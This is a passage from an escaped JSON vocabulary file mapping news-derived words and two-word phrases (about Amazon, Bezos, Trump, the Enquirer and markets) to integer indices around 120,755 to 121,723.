politics\": 120755,\n  \"infant mother\": 120756,\n  \"association privately\": 120757,\n  \"video making\": 120758,\n  \"committee gac\": 120759,\n  \"service monopolistic\": 120760,\n  \"pummelled\": 120761,\n  \"workers wear\": 120762,\n  \"libertarian myth\": 120763,\n  \"terner\": 120764,\n  \"fair article\": 120765,\n  \"kennedy ministries\": 120766,\n  \"help decrease\": 120767,\n  \"trump wall\": 120768,\n  \"people flying\": 120769,\n  \"medal tim\": 120770,\n  \"lutz\": 120771,\n  \"zurich\": 120772,\n  \"catching hell\": 120773,\n  \"cramer right\": 120774,\n  \"disney long\": 120775,\n  \"veteran academic\": 120776,\n  \"post risks\": 120777,\n  \"dinosaurs\": 120778,\n  \"unflattering news\": 120779,\n  \"service special\": 120780,\n  \"berg decreased\": 120781,\n  \"new innovations\": 120782,\n  \"telecommunications group\": 120783,\n  \"marriage bezos\": 120784,\n  \"tax dodge\": 120785,\n  \"abuse southern\": 120786,\n  \"digital news\": 120787,\n  \"official accused\": 120788,\n  \"northern virginia\": 120789,\n  \"don charge\": 120790,\n  \"clip joe\": 120791,\n  \"integrated\": 120792,\n  \"mancini\": 120793,\n  \"origin comedian\": 120794,\n  \"tax relief\": 120795,\n  \"amazon board\": 120796,\n  \"away valuable\": 120797,\n  \"ceo amazon\": 120798,\n  \"rage\": 120799,\n  \"sessions assembly\": 120800,\n  \"handgun called\": 120801,\n  \"inzaulgarat map\": 120802,\n  \"adragna\": 120803,\n  \"revenue missed\": 120804,\n  \"corp controversial\": 120805,\n  \"marketing mail\": 120806,\n  \"hard times\": 120807,\n  \"work indonesia\": 120808,\n  \"kamaron leach\": 120809,\n  \"various journalists\": 120810,\n  \"workers calling\": 120811,\n  \"possibly start\": 120812,\n  \"evil communications\": 120813,\n  \"watching dario\": 120814,\n  \"overhead costs\": 120815,\n  \"trump yesterday\": 120816,\n  \"neutrality push\": 120817,\n  \"erect\": 120818,\n  \"complex question\": 120819,\n  \"batteries\": 120820,\n  \"visionary documentaries\": 120821,\n  \"furious response\": 120822,\n  \"negotiations hit\": 120823,\n  \"site people\": 120824,\n  \"labor force\": 120825,\n  \"jpg height\": 120826,\n  \"used booster\": 120827,\n  \"repeatedly spoken\": 120828,\n  \"report cited\": 120829,\n  \"barrage\": 120830,\n  \"buy bank\": 120831,\n  \"frees\": 120832,\n  \"mann\": 120833,\n  \"largest shipping\": 120834,\n  \"sm amazon\": 120835,\n  \"taft hartley\": 120836,\n  \"static\": 120837,\n  \"signs buying\": 120838,\n  \"credit college\": 120839,\n  \"talks scenario\": 120840,\n  \"intently listening\": 120841,\n  \"pelosi doesn\": 120842,\n  \"current operating\": 120843,\n  \"officials tallahassee\": 120844,\n  \"231 type\": 120845,\n  \"publicly backed\": 120846,\n  \"chains tumble\": 120847,\n  \"inexplicably remained\": 120848,\n  \"flawed research\": 120849,\n  \"police orlando\": 120850,\n  \"trumpdate\": 120851,\n  \"representation don\": 120852,\n  \"pressure doctrine\": 120853,\n  \"divvy homes\": 120854,\n  \"collar visa\": 120855,\n  \"minors family\": 120856,\n  \"william gass\": 120857,\n  \"bone necessary\": 120858,\n  \"continued employees\": 120859,\n  \"princesses wear\": 120860,\n  \"star michelin\": 120861,\n  \"national landing\": 120862,\n  \"link baity\": 120863,\n  \"saudi allies\": 120864,\n  \"becker jeffbezos\": 120865,\n  \"compressed margins\": 120866,\n  \"gassy\": 120867,\n  \"ombudsman\": 120868,\n  \"follow nick\": 120869,\n  \"clock delivery\": 120870,\n  \"security instead\": 120871,\n  \"lunch\": 120872,\n  \"just years\": 120873,\n  \"increasingly isolated\": 120874,\n  \"stress tests\": 120875,\n  \"cap 852\": 120876,\n  \"company muscle\": 120877,\n  \"recently following\": 120878,\n  \"large tech\": 120879,\n  \"says enquirer\": 120880,\n  \"hollywood wall\": 120881,\n  \"issued report\": 120882,\n  \"trumpkim\": 120883,\n  \"regional health\": 120884,\n  \"aws division\": 120885,\n  \"clearly favored\": 120886,\n  \"zuker dannyzuker\": 120887,\n  \"list new\": 120888,\n  \"culiac\\u00e1n\": 120889,\n  \"partisan\": 120890,\n  \"away noon\": 120891,\n  \"expect just\": 120892,\n  \"bezos recently\": 120893,\n  \"trumpdonald\": 120894,\n  \"avoid adding\": 120895,\n  \"building owned\": 120896,\n  \"breach customers\": 120897,\n  \"vignettes\": 120898,\n  \"stroock allen\": 120899,\n  \"error page\": 120900,\n  \"university board\": 120901,\n  \"dies foxborough\": 120902,\n  \"excuse keeping\": 120903,\n  \"expect slowdown\": 120904,\n  \"120 points\": 120905,\n  \"mass amounts\": 120906,\n  \"bullet 200\": 120907,\n  \"choreographed relationship\": 120908,\n  \"traded barbs\": 120909,\n  \"campaign fund\": 120910,\n  \"tweet spicer\": 120911,\n  \"count revenue\": 120912,\n  \"computing appeared\": 120913,\n  \"punitive time\": 120914,\n  \"generally welcome\": 120915,\n  \"decrease charges\": 120916,\n  \"agoura hills\": 120917,\n  \"negotiation think\": 120918,\n  \"opinion silent\": 120919,\n  \"labor abuser\": 120920,\n  \"tech ripping\": 120921,\n  \"society bowing\": 120922,\n  \"little appetite\": 120923,\n  \"durant\": 120924,\n  \"erious\": 120925,\n  \"salles noted\": 120926,\n  \"offer new\": 120927,\n  \"genuine gift\": 120928,\n  \"pretty robust\": 120929,\n  \"start seeing\": 120930,\n  \"long afterward\": 120931,\n  \"antimicrobial\": 120932,\n  \"amazon coalition\": 120933,\n  \"council fsoc\": 120934,\n  \"sarge guilfoyle\": 120935,\n  \"bezos access\": 120936,\n  \"introductory\": 120937,\n  \"close new\": 120938,\n  \"unlike traditional\": 120939,\n  \"corbyn\": 120940,\n  \"munger\": 120941,\n  \"administration defense\": 120942,\n  \"enquirer flipped\": 120943,\n  \"meaningful advantage\": 120944,\n  \"midterm turnout\": 120945,\n  \"publish unsubstantiated\": 120946,\n  \"warehouse computer\": 120947,\n  \"times listed\": 120948,\n  \"mithila\": 120949,\n  \"valuation sue\": 120950,\n  \"youtube screenshot\": 120951,\n  \"carrier completes\": 120952,\n  \"running scam\": 120953,\n  \"family told\": 120954,\n  \"presidential candidates\": 120955,\n  \"photos priyanka\": 120956,\n  \"racial politics\": 120957,\n  \"jail watch\": 120958,\n  \"xin\": 120959,\n  \"regulators fined\": 120960,\n  \"says jeff\": 120961,\n  \"special baby\": 120962,\n  \"earnings wince\": 120963,\n  \"leap forward\": 120964,\n  \"message says\": 120965,\n  \"help maintain\": 120966,\n  \"propaganda herman\": 120967,\n  \"revenue jumped\": 120968,\n  \"georgia governor\": 120969,\n  \"badly strained\": 120970,\n  \"browns need\": 120971,\n  \"rex nutting\": 120972,\n  \"county bid\": 120973,\n  \"rise 2019\": 120974,\n  \"owlprevitem\": 120975,\n  \"engage cortana\": 120976,\n  \"global trading\": 120977,\n  \"gmt severe\": 120978,\n  \"shouting heil\": 120979,\n  \"images\": 120980,\n  \"courts followed\": 120981,\n  \"2018 wgn\": 120982,\n  \"man asking\": 120983,\n  \"definitely did\": 120984,\n  \"alabama\": 120985,\n  \"titled better\": 120986,\n  \"allen millions\": 120987,\n  \"define\": 120988,\n  \"182 shares\": 120989,\n  \"fund billionaire\": 120990,\n  \"2018 prime\": 120991,\n  \"trades today\": 120992,\n  \"referred comment\": 120993,\n  \"family secrets\": 120994,\n  \"defiantly stood\": 120995,\n  \"allowing protected\": 120996,\n  \"record low\": 120997,\n  \"stay apart\": 120998,\n  \"awful post\": 120999,\n  \"brands running\": 121000,\n  \"deregulationist agenda\": 121001,\n  \"cramer speculated\": 121002,\n  \"seethes new\": 121003,\n  \"company indication\": 121004,\n  \"cnbc billionaire\": 121005,\n  \"oversight according\": 121006,\n  \"source instead\": 121007,\n  \"extraordinary turn\": 121008,\n  \"available offline\": 121009,\n  \"labor expenses\": 121010,\n  \"public hearing\": 121011,\n  \"success geekwire\": 121012,\n  \"staffer sharon\": 121013,\n  \"suitcase\": 121014,\n  \"operations amazon\": 121015,\n  \"costner hugh\": 121016,\n  \"cramer pointed\": 121017,\n  \"congressional relations\": 121018,\n  \"jonathan scott\": 121019,\n  \"david rubinstein\": 121020,\n  \"mccain comments\": 121021,\n  \"announced city\": 121022,\n  \"sears holdings\": 121023,\n  \"clearly knows\": 121024,\n  \"innocent exaggeration\": 121025,\n  \"charles gasparino\": 121026,\n  \"exclusive ownership\": 121027,\n  \"lakefront\": 121028,\n  \"particularly hostile\": 121029,\n  \"sparked numerous\": 121030,\n  \"catholic\": 121031,\n  \"territories\": 121032,\n  \"hogan\": 121033,\n  \"posthumous literary\": 121034,\n  \"bizarre\": 121035,\n  \"style ads\": 121036,\n  \"support moving\": 121037,\n  \"big sell\": 121038,\n  \"bel\": 121039,\n  \"warren pulled\": 121040,\n  \"7th grade\": 121041,\n  \"practices make\": 121042,\n  \"stop illegal\": 121043,\n  \"medically\": 121044,\n  \"set lists\": 121045,\n  \"world wide\": 121046,\n  \"msci\": 121047,\n  \"current head\": 121048,\n  \"eu starting\": 121049,\n  \"peru\": 121050,\n  \"propaganda arm\": 121051,\n  \"investment firm\": 121052,\n  \"enquirer carried\": 121053,\n  \"enigmatic ceo\": 121054,\n  \"retailing\": 121055,\n  \"city queens\": 121056,\n  \"subway ride\": 121057,\n  \"spettypiece bloomberg\": 121058,\n  \"law barring\": 121059,\n  \"warren pocahontas\": 121060,\n  \"new face\": 121061,\n  \"crony\": 121062,\n  \"chairman representative\": 121063,\n  \"payment market\": 121064,\n  \"big boys\": 121065,\n  \"changing things\": 121066,\n  \"incentives available\": 121067,\n  \"834704902\": 121068,\n  \"company ami\": 121069,\n  \"raise privacy\": 121070,\n  \"large entity\": 121071,\n  \"020 words\": 121072,\n  \"term events\": 121073,\n  \"cat accidentally\": 121074,\n  \"couples\": 121075,\n  \"day flies\": 121076,\n  \"company fixture\": 121077,\n  \"addition mnuchin\": 121078,\n  \"commerce\": 121079,\n  \"lipe\": 121080,\n  \"iphone xr\": 121081,\n  \"democrats taking\": 121082,\n  \"publish embarrassing\": 121083,\n  \"discussed altering\": 121084,\n  \"reiterated claims\": 121085,\n  \"repeatedly gone\": 121086,\n  \"new industries\": 121087,\n  \"teenager placed\": 121088,\n  \"haralampus director\": 121089,\n  \"biller leslie\": 121090,\n  \"gop congress\": 121091,\n  \"tax games\": 121092,\n  \"combine augmented\": 121093,\n  \"t000023123 t000023122\": 121094,\n  \"wrote emphasizing\": 121095,\n  \"madeline marshall\": 121096,\n  \"hellhole burgeoning\": 121097,\n  \"given nearly\": 121098,\n  \"royal craft\": 121099,\n  \"nancy cordes\": 121100,\n  \"accused mueller\": 121101,\n  \"broken things\": 121102,\n  \"trillion seventh\": 121103,\n  \"trump differed\": 121104,\n  \"vet imprisoned\": 121105,\n  \"yr globally\": 121106,\n  \"include threats\": 121107,\n  \"mickey\": 121108,\n  \"226\": 121109,\n  \"cooker saves\": 121110,\n  \"priced phone\": 121111,\n  \"hoax posits\": 121112,\n  \"imported steel\": 121113,\n  \"horowitz requesting\": 121114,\n  \"proprietary information\": 121115,\n  \"warwick centre\": 121116,\n  \"videotitledivid js\": 121117,\n  \"jake maxwell\": 121118,\n  \"popular allowing\": 121119,\n  \"flu shot\": 121120,\n  \"broadsheets new\": 121121,\n  \"nbc posted\": 121122,\n  \"users ceo\": 121123,\n  \"city ab\": 121124,\n  \"preferred trump\": 121125,\n  \"stock fukoku\": 121126,\n  \"listing notes\": 121127,\n  \"blend maga\": 121128,\n  \"500 children\": 121129,\n  \"maximum pressure\": 121130,\n  \"demons witch\": 121131,\n  \"charismatic incredibly\": 121132,\n  \"absolutely need\": 121133,\n  \"twitter msdc14\": 121134,\n  \"publicly discount\": 121135,\n  \"broadcasting\": 121136,\n  \"america mop\": 121137,\n  \"student protesters\": 121138,\n  \"loading polls\": 121139,\n  \"government overpays\": 121140,\n  \"irrefutable fact\": 121141,\n  \"missing leg\": 121142,\n  \"offices seattle\": 121143,\n  \"irs officials\": 121144,\n  \"things assisting\": 121145,\n  \"meeting house\": 121146,\n  \"industry accounts\": 121147,\n  \"instituted\": 121148,\n  \"says edelman\": 121149,\n  \"2019 mean\": 121150,\n  \"rapper ja\": 121151,\n  \"stories sen\": 121152,\n  \"barth words\": 121153,\n  \"kirstjen\": 121154,\n  \"emerging video\": 121155,\n  \"escalation\": 121156,\n  \"offers highly\": 121157,\n  \"mario tennis\": 121158,\n  \"ovens food\": 121159,\n  \"mia farrow\": 121160,\n  \"racy text\": 121161,\n  \"smialowski\": 121162,\n  \"industry anti\": 121163,\n  \"jobs ocasio\": 121164,\n  \"growing delivery\": 121165,\n  \"list portland\": 121166,\n  \"pushed 8221\": 121167,\n  \"uk 2018\": 121168,\n  \"episode black\": 121169,\n  \"misidentifying\": 121170,\n  \"defense orders\": 121171,\n  \"laws dictate\": 121172,\n  \"saying company\": 121173,\n  \"item prices\": 121174,\n  \"bread amazon\": 121175,\n  \"governmental requirements\": 121176,\n  \"borne attacks\": 121177,\n  \"serial\": 121178,\n  \"administration accomplishments\": 121179,\n  \"insiders interviewed\": 121180,\n  \"amber tamblyn\": 121181,\n  \"administration opposition\": 121182,\n  \"israeli border\": 121183,\n  \"readers commented\": 121184,\n  \"cinematic preoccupations\": 121185,\n  \"broad range\": 121186,\n  \"forest city\": 121187,\n  \"lounge wsj\": 121188,\n  \"names mentioned\": 121189,\n  \"government report\": 121190,\n  \"committed crime\": 121191,\n  \"involve risks\": 121192,\n  \"epic confrontations\": 121193,\n  \"way larry\": 121194,\n  \"built download\": 121195,\n  \"health administration\": 121196,\n  \"members shell\": 121197,\n  \"identify dangerous\": 121198,\n  \"assistant devices\": 121199,\n  \"career experts\": 121200,\n  \"multiple amazon\": 121201,\n  \"switches\": 121202,\n  \"patent infringement\": 121203,\n  \"chemicals healthy\": 121204,\n  \"draconian anti\": 121205,\n  \"happy man\": 121206,\n  \"swamp creature\": 121207,\n  \"drug charges\": 121208,\n  \"metal detectors\": 121209,\n  \"secret evil\": 121210,\n  \"mike calia\": 121211,\n  \"remove fuel\": 121212,\n  \"ending breaking\": 121213,\n  \"continuation\": 121214,\n  \"taxable\": 121215,\n  \"amazon gone\": 121216,\n  \"income workers\": 121217,\n  \"increasingly taking\": 121218,\n  \"relations department\": 121219,\n  \"firm connected\": 121220,\n  \"tell new\": 121221,\n  \"767 300f\": 121222,\n  \"offers convenience\": 121223,\n  \"vgbufmhunz\": 121224,\n  \"koenig wedbush\": 121225,\n  \"month calling\": 121226,\n  \"hunt earlier\": 121227,\n  \"gundlach says\": 121228,\n  \"republican president\": 121229,\n  \"proposed creating\": 121230,\n  \"reward work\": 121231,\n  \"ballard companions\": 121232,\n  \"conveyable\": 121233,\n  \"party 2018\": 121234,\n  \"second case\": 121235,\n  \"amazon business\": 121236,\n  \"expresses explicit\": 121237,\n  \"render decisions\": 121238,\n  \"hand account\": 121239,\n  \"highest office\": 121240,\n  \"barron blog\": 121241,\n  \"packages amazon\": 121242,\n  \"recently voted\": 121243,\n  \"parcels despite\": 121244,\n  \"ft property\": 121245,\n  \"breaks median\": 121246,\n  \"ebf18\": 121247,\n  \"hollywood manager\": 121248,\n  \"pay washington\": 121249,\n  \"home appliance\": 121250,\n  \"cloud operators\": 121251,\n  \"pursing\": 121252,\n  \"03pm\": 121253,\n  \"federal filing\": 121254,\n  \"greenwald republished\": 121255,\n  \"monitoring fakes\": 121256,\n  \"standoff house\": 121257,\n  \"industries discuss\": 121258,\n  \"chair david\": 121259,\n  \"hasn waned\": 121260,\n  \"cuomo yes\": 121261,\n  \"riding similar\": 121262,\n  \"trade battle\": 121263,\n  \"musk announced\": 121264,\n  \"welcome president\": 121265,\n  \"criticizing google\": 121266,\n  \"pf_rd_p 5ff1b69e\": 121267,\n  \"headlines trump\": 121268,\n  \"inadmissible\": 121269,\n  \"withheld\": 121270,\n  \"true cnl_custom_article_footer\": 121271,\n  \"utm_term coverage\": 121272,\n  \"commands\": 121273,\n  \"edwardsville campus\": 121274,\n  \"unpredictable refereeing\": 121275,\n  \"rose 284\": 121276,\n  \"unswerving\": 121277,\n  \"word pho\": 121278,\n  \"unleashed series\": 121279,\n  \"giant unveiled\": 121280,\n  \"maurice swift\": 121281,\n  \"clear abuse\": 121282,\n  \"traditional vietnamese\": 121283,\n  \"consumers doors\": 121284,\n  \"kroger convinced\": 121285,\n  \"keisha lance\": 121286,\n  \"opinions\": 121287,\n  \"exploitation\": 121288,\n  \"direct federal\": 121289,\n  \"tribune reports\": 121290,\n  \"ba slumped\": 121291,\n  \"sizable 312\": 121292,\n  \"entity accessed\": 121293,\n  \"2001 darr\": 121294,\n  \"anonymously published\": 121295,\n  \"president aqms\": 121296,\n  \"carell wearing\": 121297,\n  \"ellerth defense\": 121298,\n  \"read printed\": 121299,\n  \"city bloomberg\": 121300,\n  \"digitally releasing\": 121301,\n  \"wasn clear\": 121302,\n  \"amazon notoriously\": 121303,\n  \"struggling housing\": 121304,\n  \"live coverage\": 121305,\n  \"probably tilting\": 121306,\n  \"articleid\": 121307,\n  \"html hp\": 121308,\n  \"amazon confirms\": 121309,\n  \"bri development\": 121310,\n  \"powerful lobbying\": 121311,\n  \"issue direct\": 121312,\n  \"sanchez knows\": 121313,\n  \"enmeshing\": 121314,\n  \"morning love\": 121315,\n  \"gizmodo media\": 121316,\n  \"cattle grazing\": 121317,\n  \"tremendous retribution\": 121318,\n  \"woo amazon\": 121319,\n  \"disney\": 121320,\n  \"stinging criticism\": 121321,\n  \"demon work\": 121322,\n  \"fallout disney\": 121323,\n  \"today greene\": 121324,\n  \"2014 amzn\": 121325,\n  \"new weapon\": 121326,\n  \"just short\": 121327,\n  \"straight month\": 121328,\n  \"americans favored\": 121329,\n  \"alphabet tell\": 121330,\n  \"laws media\": 121331,\n  \"deployment creates\": 121332,\n  \"tax related\": 121333,\n  \"erosion\": 121334,\n  \"raging asshole\": 121335,\n  \"fb mark\": 121336,\n  \"sell maker\": 121337,\n  \"saddest sights\": 121338,\n  \"stone veteran\": 121339,\n  \"monthly churn\": 121340,\n  \"mumbai attacks\": 121341,\n  \"cramer thank\": 121342,\n  \"post accounts\": 121343,\n  \"swift turns\": 121344,\n  \"ron stallworth\": 121345,\n  \"run enterprises\": 121346,\n  \"coverage giuliani\": 121347,\n  \"faire headed\": 121348,\n  \"little reading\": 121349,\n  \"tjl legal\": 121350,\n  \"segue\": 121351,\n  \"subsidies act\": 121352,\n  \"help launch\": 121353,\n  \"charcoal\": 121354,\n  \"rigs search\": 121355,\n  \"make decisions\": 121356,\n  \"white nationalism\": 121357,\n  \"personal attacks\": 121358,\n  \"book adaptations\": 121359,\n  \"jenkins fox\": 121360,\n  \"branded fashion\": 121361,\n  \"certainly fuel\": 121362,\n  \"opinions spy\": 121363,\n  \"globaldata\": 121364,\n  \"teach people\": 121365,\n  \"overtime workers\": 121366,\n  \"etsy premium\": 121367,\n  \"spacex falcon\": 121368,\n  \"bra\": 121369,\n  \"laws federal\": 121370,\n  \"voters cast\": 121371,\n  \"selfies eliminating\": 121372,\n  \"lizmair\": 121373,\n  \"department firefighters\": 121374,\n  \"court battles\": 121375,\n  \"pillpack gives\": 121376,\n  \"hollywood actress\": 121377,\n  \"9billion\": 121378,\n  \"deal posted\": 121379,\n  \"leaning president\": 121380,\n  \"qualified nominees\": 121381,\n  \"s8i v1\": 121382,\n  \"dc area\": 121383,\n  \"438 large\": 121384,\n  \"plague university\": 121385,\n  \"ami executives\": 121386,\n  \"today want\": 121387,\n  \"huge comparative\": 121388,\n  \"apparent drafting\": 121389,\n  \"sparks amazon\": 121390,\n  \"030\": 121391,\n  \"plants\": 121392,\n  \"companies flailing\": 121393,\n  \"ways including\": 121394,\n  \"new china\": 121395,\n  \"ways amazon\": 121396,\n  \"people assume\": 121397,\n  \"drive small\": 121398,\n  \"fine people\": 121399,\n  \"cnbc parent\": 121400,\n  \"netnewsledger\": 121401,\n  \"overruns\": 121402,\n  \"amazon secretly\": 121403,\n  \"amazon staged\": 121404,\n  \"highlighted new\": 121405,\n  \"repeatedly labeled\": 121406,\n  \"increasingly surprising\": 121407,\n  \"designation criteria\": 121408,\n  \"key way\": 121409,\n  \"educational missions\": 121410,\n  \"springs nation\": 121411,\n  \"col allan\": 121412,\n  \"cuomo accused\": 121413,\n  \"brilliant exhaustive\": 121414,\n  \"children bedding\": 121415,\n  \"designing similar\": 121416,\n  \"cristo\": 121417,\n  \"ecl\": 121418,\n  \"representative entities\": 121419,\n  \"water facebook\": 121420,\n  \"barcode scan\": 121421,\n  \"clearly attracted\": 121422,\n  \"hire sidelined\": 121423,\n  \"bernstein epa\": 121424,\n  \"structure allegations\": 121425,\n  \"redefine\": 121426,\n  \"enterprise institute\": 121427,\n  \"bookstore away\": 121428,\n  \"keynes\": 121429,\n  \"period international\": 121430,\n  \"becker investigation\": 121431,\n  \"hit disproportionately\": 121432,\n  \"import foreign\": 121433,\n  \"billion larry\": 121434,\n  \"official polls\": 121435,\n  \"don usually\": 121436,\n  \"post spent\": 121437,\n  \"affair maintains\": 121438,\n  \"tabloid enquirer\": 121439,\n  \"longstanding relationship\": 121440,\n  \"trump unborn\": 121441,\n  \"huge increase\": 121442,\n  \"emergency alert\": 121443,\n  \"having secured\": 121444,\n  \"quickly build\": 121445,\n  \"finance google\": 121446,\n  \"possible bezos\": 121447,\n  \"kilmeade\": 121448,\n  \"subjugate\": 121449,\n  \"rates shipments\": 121450,\n  \"economic isolation\": 121451,\n  \"buyer mnuchin\": 121452,\n  \"dan\": 121453,\n  \"europe 2018\": 121454,\n  \"card denied\": 121455,\n  \"commission justices\": 121456,\n  \"married wendi\": 121457,\n  \"reach conclusion\": 121458,\n  \"advocacy organization\": 121459,\n  \"entire book\": 121460,\n  \"board game\": 121461,\n  \"millions lottery\": 121462,\n  \"madrona venture\": 121463,\n  \"told attendees\": 121464,\n  \"vitriolic trash\": 121465,\n  \"flew\": 121466,\n  \"face questions\": 121467,\n  \"makes rape\": 121468,\n  \"bezoss\": 121469,\n  \"reuters european\": 121470,\n  \"minor players\": 121471,\n  \"neighborhoods gold\": 121472,\n  \"pubgps4 pubgversary\": 121473,\n  \"amazon remark\": 121474,\n  \"hq2 minutes\": 121475,\n  \"days working\": 121476,\n  \"uncovered late\": 121477,\n  \"thing maybe\": 121478,\n  \"george orwell\": 121479,\n  \"leak led\": 121480,\n  \"porowski\": 121481,\n  \"ceo avi\": 121482,\n  \"suspicious substance\": 121483,\n  \"challenge places\": 121484,\n  \"core appeal\": 121485,\n  \"produced learning\": 121486,\n  \"producer tyson\": 121487,\n  \"g5e gcc\": 121488,\n  \"high bs_link\": 121489,\n  \"congo president\": 121490,\n  \"firm saw\": 121491,\n  \"lobbying firms\": 121492,\n  \"bezos shares\": 121493,\n  \"packages grew\": 121494,\n  \"kelly 310\": 121495,\n  \"state improving\": 121496,\n  \"hard hitting\": 121497,\n  \"paid 129\": 121498,\n  \"business regulation\": 121499,\n  \"nests ami\": 121500,\n  \"feuds\": 121501,\n  \"additional house\": 121502,\n  \"note hear\": 121503,\n  \"bezos washington\": 121504,\n  \"snowball exerting\": 121505,\n  \"749 shares\": 121506,\n  \"news finance\": 121507,\n  \"study conducted\": 121508,\n  \"check online\": 121509,\n  \"risk averse\": 121510,\n  \"car sales\": 121511,\n  \"industries particularly\": 121512,\n  \"stock argues\": 121513,\n  \"associate roger\": 121514,\n  \"products listed\": 121515,\n  \"scalzo epa\": 121516,\n  \"repugnant decision\": 121517,\n  \"president removal\": 121518,\n  \"platform removes\": 121519,\n  \"undocumented peopleworking\": 121520,\n  \"queens quay\": 121521,\n  \"souk\": 121522,\n  \"race politics\": 121523,\n  \"attend mccain\": 121524,\n  \"eat lunch\": 121525,\n  \"wreckless\": 121526,\n  \"mitchell\": 121527,\n  \"board jumped\": 121528,\n  \"pynchonian hinterlands\": 121529,\n  \"firm deliveroo\": 121530,\n  \"based south\": 121531,\n  \"bourses\": 121532,\n  \"substantial impact\": 121533,\n  \"pirated merchandise\": 121534,\n  \"hurling\": 121535,\n  \"foundation philanthropy\": 121536,\n  \"deferred\": 121537,\n  \"shippingeasy\": 121538,\n  \"submit robust\": 121539,\n  \"high poverty\": 121540,\n  \"rates postal\": 121541,\n  \"practices amazon\": 121542,\n  \"singer hillary\": 121543,\n  \"twitter slamming\": 121544,\n  \"stringify r4ee\": 121545,\n  \"analytics stories\": 121546,\n  \"hotchkiss\": 121547,\n  \"make quick\": 121548,\n  \"luisa\": 121549,\n  \"wpp slumped\": 121550,\n  \"deliver 600\": 121551,\n  \"tortured analogy\": 121552,\n  \"fining google\": 121553,\n  \"media circus\": 121554,\n  \"week support\": 121555,\n  \"cooperation agreement\": 121556,\n  \"argument money\": 121557,\n  \"medallion owners\": 121558,\n  \"crazytown\": 121559,\n  \"51554477721 boston\": 121560,\n  \"redacted version\": 121561,\n  \"contrast uber\": 121562,\n  \"tech exec\": 121563,\n  \"amazon excerpt\": 121564,\n  \"food makes\": 121565,\n  \"families response\": 121566,\n  \"upend health\": 121567,\n  \"umu\": 121568,\n  \"tiger\": 121569,\n  \"willingly\": 121570,\n  \"including african\": 121571,\n  \"deep disappointment\": 121572,\n  \"2016 ecommerce\": 121573,\n  \"widely criticized\": 121574,\n  \"bezos using\": 121575,\n  \"comment trump\": 121576,\n  \"exact sciences\": 121577,\n  \"allen singer\": 121578,\n  \"parcel\": 121579,\n  \"seattle cnnmoney\": 121580,\n  \"recently tweet\": 121581,\n  \"recruiting entrepreneurs\": 121582,\n  \"post regularly\": 121583,\n  \"expert told\": 121584,\n  \"desensitised\": 121585,\n  \"woul trump\": 121586,\n  \"close hong\": 121587,\n  \"view new\": 121588,\n  \"wonders\": 121589,\n  \"industry tests\": 121590,\n  \"commission 180\": 121591,\n  \"fortunes decline\": 121592,\n  \"social engineering\": 121593,\n  \"say shirt\": 121594,\n  \"dripping wax\": 121595,\n  \"judicialwatch disgrace\": 121596,\n  \"money orders\": 121597,\n  \"look fairly\": 121598,\n  \"releases senator\": 121599,\n  \"published book\": 121600,\n  \"encouraging individuals\": 121601,\n  \"fare pays\": 121602,\n  \"wealthiest american\": 121603,\n  \"storm animal\": 121604,\n  \"david foster\": 121605,\n  \"undercover action\": 121606,\n  \"censor anti\": 121607,\n  \"information tjl\": 121608,\n  \"manhattan skyline\": 121609,\n  \"misleading attacks\": 121610,\n  \"twitter demanding\": 121611,\n  \"minority\": 121612,\n  \"tencent overseas\": 121613,\n  \"posed unreasonable\": 121614,\n  \"boost sales\": 121615,\n  \"generally interpreted\": 121616,\n  \"political motives\": 121617,\n  \"shanker\": 121618,\n  \"volume amazon\": 121619,\n  \"berlowitz\": 121620,\n  \"surcharges carriers\": 121621,\n  \"reach closer\": 121622,\n  \"year currently\": 121623,\n  \"policy position\": 121624,\n  \"payment portion\": 121625,\n  \"somodevilla sessions\": 121626,\n  \"potentially significant\": 121627,\n  \"continue exploring\": 121628,\n  \"technology titan\": 121629,\n  \"trader says\": 121630,\n  \"gary good\": 121631,\n  \"jordon\": 121632,\n  \"helped lead\": 121633,\n  \"warns china\": 121634,\n  \"presentations ahead\": 121635,\n  \"interview called\": 121636,\n  \"proposal 2018\": 121637,\n  \"commercial featured\": 121638,\n  \"grape genetics\": 121639,\n  \"positive twitter\": 121640,\n  \"cuomo right\": 121641,\n  \"relieve\": 121642,\n  \"gary reback\": 121643,\n  \"topnews\": 121644,\n  \"stunning extortion\": 121645,\n  \"biff trump\": 121646,\n  \"politico recently\": 121647,\n  \"jupiter stay\": 121648,\n  \"click cn__column\": 121649,\n  \"microchip\": 121650,\n  \"reporter talks\": 121651,\n  \"publisher honour\": 121652,\n  \"yorker played\": 121653,\n  \"hasbro spokesperson\": 121654,\n  \"john raoux\": 121655,\n  \"munduruku fiercely\": 121656,\n  \"scottland\": 121657,\n  \"filled years\": 121658,\n  \"taxpolicycenter\": 121659,\n  \"downplaying\": 121660,\n  \"gathering dirt\": 121661,\n  \"america failed\": 121662,\n  \"worst\": 121663,\n  \"toulouse france\": 121664,\n  \"getting efficiency\": 121665,\n  \"covet sixth\": 121666,\n  \"walker\": 121667,\n  \"jeff reeves\": 121668,\n  \"gartner\": 121669,\n  \"innovative methodologies\": 121670,\n  \"halted new\": 121671,\n  \"snc\": 121672,\n  \"case thanks\": 121673,\n  \"occasion led\": 121674,\n  \"bezos space\": 121675,\n  \"extreme taxes\": 121676,\n  \"shocks bleeding\": 121677,\n  \"staff wh\": 121678,\n  \"hearing amazon\": 121679,\n  \"conserve amazonian\": 121680,\n  \"analysis bezos\": 121681,\n  \"difficult conditions\": 121682,\n  \"bigger target\": 121683,\n  \"death spiral\": 121684,\n  \"face today\": 121685,\n  \"eye roll\": 121686,\n  \"battery life\": 121687,\n  \"access president\": 121688,\n  \"box outside\": 121689,\n  \"environmental conservation\": 121690,\n  \"1531868602\": 121691,\n  \"repression\": 121692,\n  \"343 57m\": 121693,\n  \"tighter regulatory\": 121694,\n  \"spearhead\": 121695,\n  \"government ramped\": 121696,\n  \"worst basketball\": 121697,\n  \"collapsing nation\": 121698,\n  \"oli\": 121699,\n  \"clay county\": 121700,\n  \"amber rose\": 121701,\n  \"moving saga\": 121702,\n  \"robotic\": 121703,\n  \"east following\": 121704,\n  \"mounted determined\": 121705,\n  \"roundly\": 121706,\n  \"michaelcohen mlk\": 121707,\n  \"faire\": 121708,\n  \"reappears\": 121709,\n  \"closing loopholes\": 121710,\n  \"walters\": 121711,\n  \"judge amy\": 121712,\n  \"agent kiki\": 121713,\n  \"greer taylor\": 121714,\n  \"home based\": 121715,\n  \"day world\": 121716,\n  \"grrr\": 121717,\n  \"mother basement\": 121718,\n  \"management accuses\": 121719,\n  \"eejodom3\": 121720,\n  \"generated tax\": 121721,\n  \"sale shirt\": 121722,\n  \"whooping\": 121723,\n  